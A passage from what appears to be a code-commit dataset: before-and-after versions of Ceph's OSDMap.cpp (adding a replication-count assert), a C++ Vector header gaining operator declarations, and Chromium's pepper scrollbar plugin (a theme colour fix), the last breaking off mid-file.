get_num_up_osds() << \" up, \" \n      << get_num_in_osds() << \" in\";\n  if (blacklist.size())\n    out << \" -- \" << blacklist.size() << \" blacklisted MDSes\";\n}\n\n\nvoid OSDMap::build_simple(epoch_t e, ceph_fsid_t &fsid,\n\t\t\t  int num_osd, int num_dom, int pg_bits, int lpg_bits,\n\t\t\t  int mds_local_osd)\n{\n  dout(10) << \"build_simple on \" << num_osd\n\t   << \" osds with \" << pg_bits << \" pg bits per osd, \"\n\t   << lpg_bits << \" lpg bits\" << dendl;\n  epoch = e;\n  set_fsid(fsid);\n  created = modified = g_clock.now();\n\n  set_max_osd(num_osd);\n  \n  \/\/ crush map\n  map<int, const char*> rulesets;\n  rulesets[CEPH_DATA_RULE] = \"data\";\n  rulesets[CEPH_METADATA_RULE] = \"metadata\";\n  rulesets[CEPH_CASDATA_RULE] = \"casdata\";\n  rulesets[CEPH_RBD_RULE] = \"rbd\";\n  \n  for (map<int,const char*>::iterator p = rulesets.begin(); p != rulesets.end(); p++) {\n    int pool = ++pool_max;\n    pools[pool].v.type = CEPH_PG_TYPE_REP;\n    pools[pool].v.size = 2;\n    pools[pool].v.crush_ruleset = p->first;\n    pools[pool].v.object_hash = CEPH_STR_HASH_RJENKINS;\n    pools[pool].v.pg_num = num_osd << pg_bits;\n    pools[pool].v.pgp_num = num_osd << pg_bits;\n    pools[pool].v.lpg_num = lpg_bits ? (1 << (lpg_bits-1)) : 0;\n    pools[pool].v.lpgp_num = lpg_bits ? (1 << (lpg_bits-1)) : 0;\n    pools[pool].v.last_change = epoch;\n    pool_name[pool] = p->second;\n  }\n\n  build_simple_crush_map(crush, rulesets, num_osd, num_dom);\n\n  for (int i=0; i<num_osd; i++) {\n    set_state(i, 0);\n    set_weight(i, CEPH_OSD_OUT);\n  }\n  \n  if (mds_local_osd) {\n    set_max_osd(mds_local_osd+num_osd);\n\n    \/\/ add mds local osds, but don't put them in the crush mapping func\n    for (int i=0; i<mds_local_osd; i++) {\n      set_state(i+num_osd, 0);\n      set_weight(i+num_osd, CEPH_OSD_OUT);\n    }\n  }\n}\n\nvoid OSDMap::build_simple_crush_map(CrushWrapper& crush, map<int, const char*>& rulesets, int num_osd,\n\t\t\t\t    int num_dom)\n{\n  \/\/ new\n  crush.create();\n\n  crush.set_type_name(1, \"domain\");\n  crush.set_type_name(2, \"pool\");\n\n  int minrep = g_conf.osd_min_rep;\n  int ndom = num_dom;\n  if (!ndom)\n    ndom = MAX(g_conf.osd_max_rep, g_conf.osd_max_raid_width);\n  if (ndom > 1 &&\n      num_osd >= ndom*3 &&\n      num_osd > 8) {\n    int ritems[ndom];\n    int rweights[ndom];\n\n    int nper = ((num_osd - 1) \/ ndom) + 1;\n    derr(0) << ndom << \" failure domains, \" << nper << \" osds each\" << dendl;\n    \n    int o = 0;\n    for (int i=0; i<ndom; i++) {\n      int items[nper], weights[nper];      \n      int j;\n      rweights[i] = 0;\n      for (j=0; j<nper; j++, o++) {\n\tif (o == num_osd) break;\n\tdout(20) << \"added osd\" << o << dendl;\n\titems[j] = o;\n\tweights[j] = 0x10000;\n\t\/\/w[j] = weights[o] ? (0x10000 - (int)(weights[o] * 0x10000)):0x10000;\n\t\/\/rweights[i] += w[j];\n\trweights[i] += 0x10000;\n      }\n\n      crush_bucket *domain = crush_make_bucket(CRUSH_BUCKET_UNIFORM, CRUSH_HASH_DEFAULT, 1, j, items, weights);\n      ritems[i] = crush_add_bucket(crush.crush, 0, domain);\n      dout(20) << \"added domain bucket i \" << ritems[i] << \" of size \" << j << dendl;\n\n      char bname[10];\n      snprintf(bname, sizeof(bname), \"dom%d\", i);\n      crush.set_item_name(ritems[i], bname);\n    }\n    \n    \/\/ root\n    crush_bucket *root = crush_make_bucket(CRUSH_BUCKET_STRAW, CRUSH_HASH_DEFAULT, 2, ndom, ritems, rweights);\n    int rootid = crush_add_bucket(crush.crush, 0, root);\n    crush.set_item_name(rootid, \"root\");\n\n    \/\/ rules\n    for (map<int,const char*>::iterator p = rulesets.begin(); p != rulesets.end(); p++) {\n      int ruleset = p->first;\n      crush_rule *rule = crush_make_rule(3, ruleset, CEPH_PG_TYPE_REP, minrep, g_conf.osd_max_rep);\n      crush_rule_set_step(rule, 0, CRUSH_RULE_TAKE, rootid, 0);\n      crush_rule_set_step(rule, 1, CRUSH_RULE_CHOOSE_LEAF_FIRSTN, CRUSH_CHOOSE_N, 1); \/\/ choose N domains\n      crush_rule_set_step(rule, 2, CRUSH_RULE_EMIT, 0, 0);\n      int rno = crush_add_rule(crush.crush, rule, -1);\n      crush.set_rule_name(rno, p->second);\n    }\n    \n  } else {\n    \/\/ one bucket\n\n    int items[num_osd];\n    int weights[num_osd];\n    for (int i=0; i<num_osd; i++) {\n      items[i] = i;\n      weights[i] = 0x10000;\n    }\n\n    crush_bucket *b = crush_make_bucket(CRUSH_BUCKET_STRAW, CRUSH_HASH_DEFAULT, 1, num_osd, items, weights);\n    int rootid = crush_add_bucket(crush.crush, 0, b);\n    crush.set_item_name(rootid, \"root\");\n\n    \/\/ replication\n    for (map<int,const char*>::iterator p = rulesets.begin(); p != rulesets.end(); p++) {\n      int ruleset = p->first;\n      crush_rule *rule = crush_make_rule(3, ruleset, CEPH_PG_TYPE_REP, g_conf.osd_min_rep, g_conf.osd_max_rep);\n      crush_rule_set_step(rule, 0, CRUSH_RULE_TAKE, rootid, 0);\n      crush_rule_set_step(rule, 1, CRUSH_RULE_CHOOSE_FIRSTN, CRUSH_CHOOSE_N, 0);\n      crush_rule_set_step(rule, 2, CRUSH_RULE_EMIT, 0, 0);\n      int rno = crush_add_rule(crush.crush, rule, -1);\n      crush.set_rule_name(rno, p->second);\n    }\n\n  }\n\n  crush.finalize();\n\n  dout(20) << \"crush max_devices \" << crush.crush->max_devices << dendl;\n}\n\n<commit_msg>osdmap: assert maxrep >= minrep<commit_after>\/\/ -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- \n\/\/ vim: ts=8 sw=2 smarttab\n\/*\n * Ceph - scalable distributed file system\n *\n * Copyright (C) 2004-2006 Sage Weil <sage@newdream.net>\n *\n * This is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software \n * Foundation.  See file COPYING.\n * \n *\/\n\n#include \"OSDMap.h\"\n\n#include \"config.h\"\n\n\n\nvoid OSDMap::print(ostream& out)\n{\n  out << \"epoch \" << get_epoch() << \"\\n\"\n      << \"fsid \" << get_fsid() << \"\\n\"\n      << \"created \" << get_created() << \"\\n\"\n      << \"modifed \" << get_modified() << \"\\n\"\n      << std::endl;\n  for (map<int,pg_pool_t>::iterator p = pools.begin(); p != pools.end(); p++) {\n    out << \"pg_pool \" << p->first\n\t<< \" '\" << pool_name[p->first]\n\t<< \"' \" << p->second << \"\\n\";\n    for (map<snapid_t,pool_snap_info_t>::iterator q = p->second.snaps.begin();\n\t q != p->second.snaps.end();\n\t q++)\n      out << \"\\tsnap \" << q->second.snapid << \" '\" << q->second.name << \"' \" << q->second.stamp << \"\\n\";\n    if (!p->second.removed_snaps.empty())\n      out << \"\\tremoved_snaps \" << p->second.removed_snaps << \"\\n\";\n  }\n  out << std::endl;\n\n  out << \"max_osd \" << get_max_osd() << \"\\n\";\n  for (int i=0; i<get_max_osd(); i++) {\n    if (exists(i)) {\n      out << \"osd\" << i;\n      out << (is_in(i) ? \" in\":\" out\");\n      if (is_in(i))\n\tout << \" weight \" << get_weightf(i);\n      out << (is_up(i) ? \" up  \":\" down\");\n      osd_info_t& info = get_info(i);\n      out << \" (up_from \" << info.up_from\n\t  << \" up_thru \" << info.up_thru\n\t  << \" down_at \" << info.down_at\n\t  << \" last_clean \" << info.last_clean_first << \"-\" << info.last_clean_last << \")\";\n      if (is_up(i))\n\tout << \" \" << get_addr(i) << \" \" << get_hb_addr(i);\n      out << \"\\n\";\n    }\n  }\n  out << std::endl;\n\n  for (map<pg_t,vector<int> >::iterator p = pg_temp.begin();\n       p != pg_temp.end();\n       p++)\n    out << \"pg_temp \" << p->first << \" \" << p->second << \"\\n\";\n  \n  for (hash_map<entity_addr_t,utime_t>::iterator p = blacklist.begin();\n       p != blacklist.end();\n       p++)\n    out << \"blacklist \" << p->first << \" expires \" << p->second << \"\\n\";\n  \n  \/\/ ignore pg_swap_primary\n}\n\nvoid OSDMap::print_summary(ostream& out)\n{\n  out << \"e\" << get_epoch() << \": \"\n      << get_num_osds() << \" osds: \"\n      << get_num_up_osds() << \" up, \" \n      << get_num_in_osds() << \" in\";\n  if (blacklist.size())\n    out << \" -- \" << blacklist.size() << \" blacklisted MDSes\";\n}\n\n\nvoid OSDMap::build_simple(epoch_t e, ceph_fsid_t &fsid,\n\t\t\t  int num_osd, int num_dom, int pg_bits, int lpg_bits,\n\t\t\t  int mds_local_osd)\n{\n  dout(10) << \"build_simple on \" << num_osd\n\t   << \" osds with \" << pg_bits << \" pg bits per osd, \"\n\t   << lpg_bits << \" lpg bits\" << dendl;\n  epoch = e;\n  set_fsid(fsid);\n  created = modified = g_clock.now();\n\n  set_max_osd(num_osd);\n  \n  \/\/ crush map\n  map<int, const char*> rulesets;\n  rulesets[CEPH_DATA_RULE] = \"data\";\n  rulesets[CEPH_METADATA_RULE] = \"metadata\";\n  rulesets[CEPH_CASDATA_RULE] = \"casdata\";\n  rulesets[CEPH_RBD_RULE] = \"rbd\";\n  \n  for (map<int,const char*>::iterator p = rulesets.begin(); p != rulesets.end(); p++) {\n    int pool = ++pool_max;\n    pools[pool].v.type = CEPH_PG_TYPE_REP;\n    pools[pool].v.size = 2;\n    pools[pool].v.crush_ruleset = p->first;\n    pools[pool].v.object_hash = CEPH_STR_HASH_RJENKINS;\n    pools[pool].v.pg_num = num_osd << pg_bits;\n    pools[pool].v.pgp_num = num_osd << pg_bits;\n    pools[pool].v.lpg_num = lpg_bits ? (1 << (lpg_bits-1)) : 0;\n    pools[pool].v.lpgp_num = lpg_bits ? (1 << (lpg_bits-1)) : 0;\n    pools[pool].v.last_change = epoch;\n    pool_name[pool] = p->second;\n  }\n\n  build_simple_crush_map(crush, rulesets, num_osd, num_dom);\n\n  for (int i=0; i<num_osd; i++) {\n    set_state(i, 0);\n    set_weight(i, CEPH_OSD_OUT);\n  }\n  \n  if (mds_local_osd) {\n    set_max_osd(mds_local_osd+num_osd);\n\n    \/\/ add mds local osds, but don't put them in the crush mapping func\n    for (int i=0; i<mds_local_osd; i++) {\n      set_state(i+num_osd, 0);\n      set_weight(i+num_osd, CEPH_OSD_OUT);\n    }\n  }\n}\n\nvoid OSDMap::build_simple_crush_map(CrushWrapper& crush, map<int, const char*>& rulesets, int num_osd,\n\t\t\t\t    int num_dom)\n{\n  \/\/ new\n  crush.create();\n\n  crush.set_type_name(1, \"domain\");\n  crush.set_type_name(2, \"pool\");\n\n  int minrep = g_conf.osd_min_rep;\n  int maxrep = g_conf.osd_max_rep;\n  assert(maxrep >= minrep);\n  int ndom = num_dom;\n  if (!ndom)\n    ndom = MAX(maxrep, g_conf.osd_max_raid_width);\n  if (ndom > 1 &&\n      num_osd >= ndom*3 &&\n      num_osd > 8) {\n    int ritems[ndom];\n    int rweights[ndom];\n\n    int nper = ((num_osd - 1) \/ ndom) + 1;\n    derr(0) << ndom << \" failure domains, \" << nper << \" osds each\" << dendl;\n    \n    int o = 0;\n    for (int i=0; i<ndom; i++) {\n      int items[nper], weights[nper];      \n      int j;\n      rweights[i] = 0;\n      for (j=0; j<nper; j++, o++) {\n\tif (o == num_osd) break;\n\tdout(20) << \"added osd\" << o << dendl;\n\titems[j] = o;\n\tweights[j] = 0x10000;\n\t\/\/w[j] = weights[o] ? (0x10000 - (int)(weights[o] * 0x10000)):0x10000;\n\t\/\/rweights[i] += w[j];\n\trweights[i] += 0x10000;\n      }\n\n      crush_bucket *domain = crush_make_bucket(CRUSH_BUCKET_UNIFORM, CRUSH_HASH_DEFAULT, 1, j, items, weights);\n      ritems[i] = crush_add_bucket(crush.crush, 0, domain);\n      dout(20) << \"added domain bucket i \" << ritems[i] << \" of size \" << j << dendl;\n\n      char bname[10];\n      snprintf(bname, sizeof(bname), \"dom%d\", i);\n      crush.set_item_name(ritems[i], bname);\n    }\n    \n    \/\/ root\n    crush_bucket *root = crush_make_bucket(CRUSH_BUCKET_STRAW, CRUSH_HASH_DEFAULT, 2, ndom, ritems, rweights);\n    int rootid = crush_add_bucket(crush.crush, 0, root);\n    crush.set_item_name(rootid, \"root\");\n\n    \/\/ rules\n    for (map<int,const char*>::iterator p = rulesets.begin(); p != rulesets.end(); p++) {\n      int ruleset = p->first;\n      crush_rule *rule = crush_make_rule(3, ruleset, CEPH_PG_TYPE_REP, minrep, maxrep);\n      crush_rule_set_step(rule, 0, CRUSH_RULE_TAKE, rootid, 0);\n      crush_rule_set_step(rule, 1, CRUSH_RULE_CHOOSE_LEAF_FIRSTN, CRUSH_CHOOSE_N, 1); \/\/ choose N domains\n      crush_rule_set_step(rule, 2, CRUSH_RULE_EMIT, 0, 0);\n      int rno = crush_add_rule(crush.crush, rule, -1);\n      crush.set_rule_name(rno, p->second);\n    }\n    \n  } else {\n    \/\/ one bucket\n\n    int items[num_osd];\n    int weights[num_osd];\n    for (int i=0; i<num_osd; i++) {\n      items[i] = i;\n      weights[i] = 0x10000;\n    }\n\n    crush_bucket *b = crush_make_bucket(CRUSH_BUCKET_STRAW, CRUSH_HASH_DEFAULT, 1, num_osd, items, weights);\n    int rootid = crush_add_bucket(crush.crush, 0, b);\n    crush.set_item_name(rootid, \"root\");\n\n    \/\/ replication\n    for (map<int,const char*>::iterator p = rulesets.begin(); p != rulesets.end(); p++) {\n      int ruleset = p->first;\n      crush_rule *rule = crush_make_rule(3, ruleset, CEPH_PG_TYPE_REP, g_conf.osd_min_rep, maxrep);\n      crush_rule_set_step(rule, 0, CRUSH_RULE_TAKE, rootid, 0);\n      crush_rule_set_step(rule, 1, CRUSH_RULE_CHOOSE_FIRSTN, CRUSH_CHOOSE_N, 0);\n      crush_rule_set_step(rule, 2, CRUSH_RULE_EMIT, 0, 0);\n      int rno = crush_add_rule(crush.crush, rule, -1);\n      crush.set_rule_name(rno, p->second);\n    }\n\n  }\n\n  crush.finalize();\n\n  dout(20) << \"crush max_devices \" << crush.crush->max_devices << dendl;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef BOP_VECTOR_HPP\n#define BOP_VECTOR_HPP\n\n#include <initializer_list>\n#include <string>\n\n\/*\n\tbop::maths::Vector forward declaration file\n*\/\n\nnamespace bop::maths {\n\n\ttemplate<class T>\n\tclass Vector {\n\t\tprotected:\n\t\t\tint width;\n\t\t\tint pivot_index;\n\t\tpublic:\n\t\t\tT* data;\n\t\t\t\/\/Constructors\n\t\t\tVector(int, T);\n\t\t\tVector(int, int, T);\n\t\t\tVector(std::initializer_list<T>);\n\t\t\tVector();\n\t\t\t\/\/Operator Overloads\n\t\t\tT& operator[] (const unsigned int);\n\t\t\tVector<T>& operator= (const Vector<T>&);\n\t\t\tVector<T>& operator= (std::initializer_list<T>);\n\t\t\t\/\/Arithmetic Operator Overloads\n\t\t\tVector<T>& operator*= (const T);\n\t\t\tVector<T>& operator\/= (const T);\n\t\t\tVector<T>& operator+= (Vector<T>&);\n\t\t\tVector<T>& operator-= (Vector<T>&);\n\t\t\t\/\/Vector information functions\n\t\t\tint pivot(int);\n\t\t\tunsigned int size();\n\t\t\tstd::string string();\n\t\t\tT& x();\n\t\t\tT& y();\n\t\t\tT& z();\n\t};\n\n}\n\n#endif<commit_msg>More vector maths operators<commit_after>#ifndef BOP_VECTOR_HPP\n#define BOP_VECTOR_HPP\n\n#include <initializer_list>\n#include <string>\n\n\/*\n\tbop::maths::Vector forward declaration file\n*\/\n\nnamespace bop::maths {\n\n\ttemplate<class T>\n\tclass Vector {\n\t\tprotected:\n\t\t\tint width;\n\t\t\tint pivot_index;\n\t\tpublic:\n\t\t\tT* data;\n\t\t\t\/\/Constructors\n\t\t\tVector(int, T);\n\t\t\tVector(int, int, T);\n\t\t\tVector(std::initializer_list<T>);\n\t\t\tVector();\n\t\t\t\/\/Operator Overloads\n\t\t\tT& operator[] (const unsigned int);\n\t\t\tVector<T>& operator= (const Vector<T>&);\n\t\t\tVector<T>& operator= (std::initializer_list<T>);\n\t\t\t\/\/Arithmetic Operator Overloads\n\t\t\tVector<T>& operator*= (const T);\n\t\t\tVector<T>& operator\/= (const T);\n\t\t\tVector<T>& operator+= (Vector<T>&);\n\t\t\tVector<T>& operator-= (Vector<T>&);\n\t\t\t\/\/Vector information functions\n\t\t\tint pivot(int);\n\t\t\tunsigned int size();\n\t\t\tstd::string string();\n\t\t\tT& x();\n\t\t\tT& y();\n\t\t\tT& z();\n\t};\n\t\n\ttemplate<class T>\n\tVector<T> operator* (Vector<T>, const T);\n\ttemplate<class T>\n\tVector<T> operator\/ (Vector<T>, const T);\n\ttemplate<class T>\n\tVector<T> operator+ (Vector<T>, Vector<T>&);\n\ttemplate<class T>\n\tVector<T> operator- (Vector<T>, Vector<T>&);\n\n}\n\n#endif<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"webkit\/glue\/plugins\/pepper_scrollbar.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/message_loop.h\"\n#include \"third_party\/ppapi\/c\/ppp_scrollbar.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebInputEvent.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebRect.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebScrollbar.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebVector.h\"\n#include \"webkit\/glue\/plugins\/pepper_event_conversion.h\"\n#include \"webkit\/glue\/plugins\/pepper_image_data.h\"\n#include \"webkit\/glue\/plugins\/pepper_plugin_instance.h\"\n#include \"webkit\/glue\/plugins\/pepper_plugin_module.h\"\n#include \"webkit\/glue\/webkit_glue.h\"\n\nusing WebKit::WebInputEvent;\nusing WebKit::WebRect;\nusing WebKit::WebScrollbar;\n\nnamespace pepper {\n\nnamespace {\n\nPP_Resource Create(PP_Instance instance_id, bool vertical) {\n  PluginInstance* instance = PluginInstance::FromPPInstance(instance_id);\n  if (!instance)\n    return 0;\n\n  scoped_refptr<Scrollbar> scrollbar(new Scrollbar(instance, vertical));\n  return scrollbar->GetReference();\n}\n\nbool IsScrollbar(PP_Resource resource) {\n  return !!Resource::GetAs<Scrollbar>(resource);\n}\n\nuint32_t GetThickness() {\n  return WebScrollbar::defaultThickness();\n}\n\nuint32_t GetValue(PP_Resource resource) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (!scrollbar)\n    return 0;\n  return scrollbar->GetValue();\n}\n\nvoid SetValue(PP_Resource resource, uint32_t value) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (scrollbar)\n    scrollbar->SetValue(value);\n}\n\nvoid SetDocumentSize(PP_Resource resource, uint32_t size) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (scrollbar)\n    scrollbar->SetDocumentSize(size);\n}\n\nvoid SetTickMarks(PP_Resource resource,\n                  const PP_Rect* tick_marks,\n                  uint32_t count) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (scrollbar)\n    scrollbar->SetTickMarks(tick_marks, count);\n}\n\nvoid ScrollBy(PP_Resource resource,\n              PP_ScrollBy unit,\n              int32_t multiplier) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (scrollbar)\n    scrollbar->ScrollBy(unit, multiplier);\n}\n\nconst PPB_Scrollbar ppb_scrollbar = {\n  &Create,\n  &IsScrollbar,\n  &GetThickness,\n  &GetValue,\n  &SetValue,\n  &SetDocumentSize,\n  &SetTickMarks,\n  &ScrollBy\n};\n\n}  \/\/ namespace\n\nScrollbar::Scrollbar(PluginInstance* instance, bool vertical)\n    : Widget(instance) {\n  scrollbar_.reset(WebScrollbar::create(\n      static_cast<WebKit::WebScrollbarClient*>(this),\n      vertical ? WebScrollbar::Vertical : WebScrollbar::Horizontal));\n}\n\nScrollbar::~Scrollbar() {\n}\n\n\/\/ static\nconst PPB_Scrollbar* Scrollbar::GetInterface() {\n  return &ppb_scrollbar;\n}\n\nuint32_t Scrollbar::GetValue() {\n  return scrollbar_->value();\n}\n\nvoid Scrollbar::SetValue(uint32_t value) {\n  scrollbar_->setValue(value);\n}\n\nvoid Scrollbar::SetDocumentSize(uint32_t size) {\n  scrollbar_->setDocumentSize(size);\n}\n\nvoid Scrollbar::SetTickMarks(const PP_Rect* tick_marks, uint32_t count) {\n  tickmarks_.resize(count);\n  for (uint32 i = 0; i < count; ++i) {\n    tickmarks_[i] = WebRect(tick_marks[i].point.x,\n                            tick_marks[i].point.y,\n                            tick_marks[i].size.width,\n                            tick_marks[i].size.height);;\n  }\n  PP_Rect rect = location();\n  Invalidate(&rect);\n}\n\nvoid Scrollbar::ScrollBy(PP_ScrollBy unit, int32_t multiplier) {\n  WebScrollbar::ScrollDirection direction = multiplier >= 0 ?\n      WebScrollbar::ScrollForward : WebScrollbar::ScrollBackward;\n  float fmultiplier = 1.0;\n\n  WebScrollbar::ScrollGranularity granularity;\n  if (unit == PP_SCROLLBY_LINE) {\n    granularity = WebScrollbar::ScrollByLine;\n  } else if (unit == PP_SCROLLBY_PAGE) {\n    granularity = WebScrollbar::ScrollByPage;\n  } else if (unit == PP_SCROLLBY_DOCUMENT) {\n    granularity = WebScrollbar::ScrollByDocument;\n  } else {\n    granularity = WebScrollbar::ScrollByPixel;\n    fmultiplier = static_cast<float>(multiplier);\n    if (fmultiplier < 0)\n      fmultiplier *= -1;\n  }\n  scrollbar_->scroll(direction, granularity, fmultiplier);\n}\n\nbool Scrollbar::Paint(const PP_Rect* rect, ImageData* image) {\n  gfx::Rect gfx_rect(rect->point.x,\n                     rect->point.y,\n                     rect->size.width,\n                     rect->size.height);\n  skia::PlatformCanvas* canvas = image->mapped_canvas();\n  if (!canvas)\n    return false;\n  scrollbar_->paint(webkit_glue::ToWebCanvas(canvas), gfx_rect);\n  return true;\n}\n\nbool Scrollbar::HandleEvent(const PP_Event* event) {\n  scoped_ptr<WebInputEvent> web_input_event(CreateWebInputEvent(*event));\n  if (!web_input_event.get())\n    return false;\n\n  return scrollbar_->handleInputEvent(*web_input_event.get());\n}\n\nvoid Scrollbar::SetLocationInternal(const PP_Rect* location) {\n  scrollbar_->setLocation(WebRect(location->point.x,\n                                  location->point.y,\n                                  location->size.width,\n                                  location->size.height));\n}\n\nvoid Scrollbar::valueChanged(WebKit::WebScrollbar* scrollbar) {\n  const PPP_Scrollbar* ppp_scrollbar = static_cast<const PPP_Scrollbar*>(\n      module()->GetPluginInterface(PPP_SCROLLBAR_INTERFACE));\n  if (!ppp_scrollbar)\n    return;\n  ScopedResourceId resource(this);\n  ppp_scrollbar->ValueChanged(\n      instance()->GetPPInstance(), resource.id, scrollbar_->value());\n}\n\nvoid Scrollbar::invalidateScrollbarRect(WebKit::WebScrollbar* scrollbar,\n                                        const WebKit::WebRect& rect) {\n  gfx::Rect gfx_rect(rect.x,\n                     rect.y,\n                     rect.width,\n                     rect.height);\n  dirty_ = dirty_.Union(gfx_rect);\n  \/\/ Can't call into the client to tell them about the invalidate right away,\n  \/\/ since the Scrollbar code is still in the middle of updating its internal\n  \/\/ state.\n  MessageLoop::current()->PostTask(\n      FROM_HERE,\n      NewRunnableMethod(this, &Scrollbar::NotifyInvalidate));\n}\n\nvoid Scrollbar::getTickmarks(\n    WebKit::WebScrollbar* scrollbar,\n    WebKit::WebVector<WebKit::WebRect>* tick_marks) const {\n  if (tickmarks_.empty()) {\n    WebRect* rects = NULL;\n    tick_marks->assign(rects, 0);\n  } else {\n    tick_marks->assign(&tickmarks_[0], tickmarks_.size());\n  }\n}\n\nvoid Scrollbar::NotifyInvalidate() {\n  if (dirty_.IsEmpty())\n    return;\n  PP_Rect pp_rect;\n  pp_rect.point.x = dirty_.x();\n  pp_rect.point.y = dirty_.y();\n  pp_rect.size.width = dirty_.width();\n  pp_rect.size.height = dirty_.height();\n  dirty_ = gfx::Rect();\n  Invalidate(&pp_rect);\n}\n\n}  \/\/ namespace pepper\n<commit_msg>Fix strange colors on scrollbars when using classic theme on XP. This is a port of the fix from pepper v1 to pepper v2.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"webkit\/glue\/plugins\/pepper_scrollbar.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/message_loop.h\"\n#include \"skia\/ext\/platform_canvas.h\"\n#include \"third_party\/ppapi\/c\/ppp_scrollbar.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebInputEvent.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebRect.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebScrollbar.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebVector.h\"\n#include \"webkit\/glue\/plugins\/pepper_event_conversion.h\"\n#include \"webkit\/glue\/plugins\/pepper_image_data.h\"\n#include \"webkit\/glue\/plugins\/pepper_plugin_instance.h\"\n#include \"webkit\/glue\/plugins\/pepper_plugin_module.h\"\n#include \"webkit\/glue\/webkit_glue.h\"\n\n#if defined(OS_WIN)\n#include \"base\/win_util.h\"\n#endif\n\nusing WebKit::WebInputEvent;\nusing WebKit::WebRect;\nusing WebKit::WebScrollbar;\n\nnamespace pepper {\n\nnamespace {\n\nPP_Resource Create(PP_Instance instance_id, bool vertical) {\n  PluginInstance* instance = PluginInstance::FromPPInstance(instance_id);\n  if (!instance)\n    return 0;\n\n  scoped_refptr<Scrollbar> scrollbar(new Scrollbar(instance, vertical));\n  return scrollbar->GetReference();\n}\n\nbool IsScrollbar(PP_Resource resource) {\n  return !!Resource::GetAs<Scrollbar>(resource);\n}\n\nuint32_t GetThickness() {\n  return WebScrollbar::defaultThickness();\n}\n\nuint32_t GetValue(PP_Resource resource) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (!scrollbar)\n    return 0;\n  return scrollbar->GetValue();\n}\n\nvoid SetValue(PP_Resource resource, uint32_t value) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (scrollbar)\n    scrollbar->SetValue(value);\n}\n\nvoid SetDocumentSize(PP_Resource resource, uint32_t size) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (scrollbar)\n    scrollbar->SetDocumentSize(size);\n}\n\nvoid SetTickMarks(PP_Resource resource,\n                  const PP_Rect* tick_marks,\n                  uint32_t count) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (scrollbar)\n    scrollbar->SetTickMarks(tick_marks, count);\n}\n\nvoid ScrollBy(PP_Resource resource,\n              PP_ScrollBy unit,\n              int32_t multiplier) {\n  scoped_refptr<Scrollbar> scrollbar(Resource::GetAs<Scrollbar>(resource));\n  if (scrollbar)\n    scrollbar->ScrollBy(unit, multiplier);\n}\n\nconst PPB_Scrollbar ppb_scrollbar = {\n  &Create,\n  &IsScrollbar,\n  &GetThickness,\n  &GetValue,\n  &SetValue,\n  &SetDocumentSize,\n  &SetTickMarks,\n  &ScrollBy\n};\n\n}  \/\/ namespace\n\nScrollbar::Scrollbar(PluginInstance* instance, bool vertical)\n    : Widget(instance) {\n  scrollbar_.reset(WebScrollbar::create(\n      static_cast<WebKit::WebScrollbarClient*>(this),\n      vertical ? WebScrollbar::Vertical : WebScrollbar::Horizontal));\n}\n\nScrollbar::~Scrollbar() {\n}\n\n\/\/ static\nconst PPB_Scrollbar* Scrollbar::GetInterface() {\n  return &ppb_scrollbar;\n}\n\nuint32_t Scrollbar::GetValue() {\n  return scrollbar_->value();\n}\n\nvoid Scrollbar::SetValue(uint32_t value) {\n  scrollbar_->setValue(value);\n}\n\nvoid Scrollbar::SetDocumentSize(uint32_t size) {\n  scrollbar_->setDocumentSize(size);\n}\n\nvoid Scrollbar::SetTickMarks(const PP_Rect* tick_marks, uint32_t count) {\n  tickmarks_.resize(count);\n  for (uint32 i = 0; i < count; ++i) {\n    tickmarks_[i] = WebRect(tick_marks[i].point.x,\n                            tick_marks[i].point.y,\n                            tick_marks[i].size.width,\n                            tick_marks[i].size.height);;\n  }\n  PP_Rect rect = location();\n  Invalidate(&rect);\n}\n\nvoid Scrollbar::ScrollBy(PP_ScrollBy unit, int32_t multiplier) {\n  WebScrollbar::ScrollDirection direction = multiplier >= 0 ?\n      WebScrollbar::ScrollForward : WebScrollbar::ScrollBackward;\n  float fmultiplier = 1.0;\n\n  WebScrollbar::ScrollGranularity granularity;\n  if (unit == PP_SCROLLBY_LINE) {\n    granularity = WebScrollbar::ScrollByLine;\n  } else if (unit == PP_SCROLLBY_PAGE) {\n    granularity = WebScrollbar::ScrollByPage;\n  } else if (unit == PP_SCROLLBY_DOCUMENT) {\n    granularity = WebScrollbar::ScrollByDocument;\n  } else {\n    granularity = WebScrollbar::ScrollByPixel;\n    fmultiplier = static_cast<float>(multiplier);\n    if (fmultiplier < 0)\n      fmultiplier *= -1;\n  }\n  scrollbar_->scroll(direction, granularity, fmultiplier);\n}\n\nbool Scrollbar::Paint(const PP_Rect* rect, ImageData* image) {\n  gfx::Rect 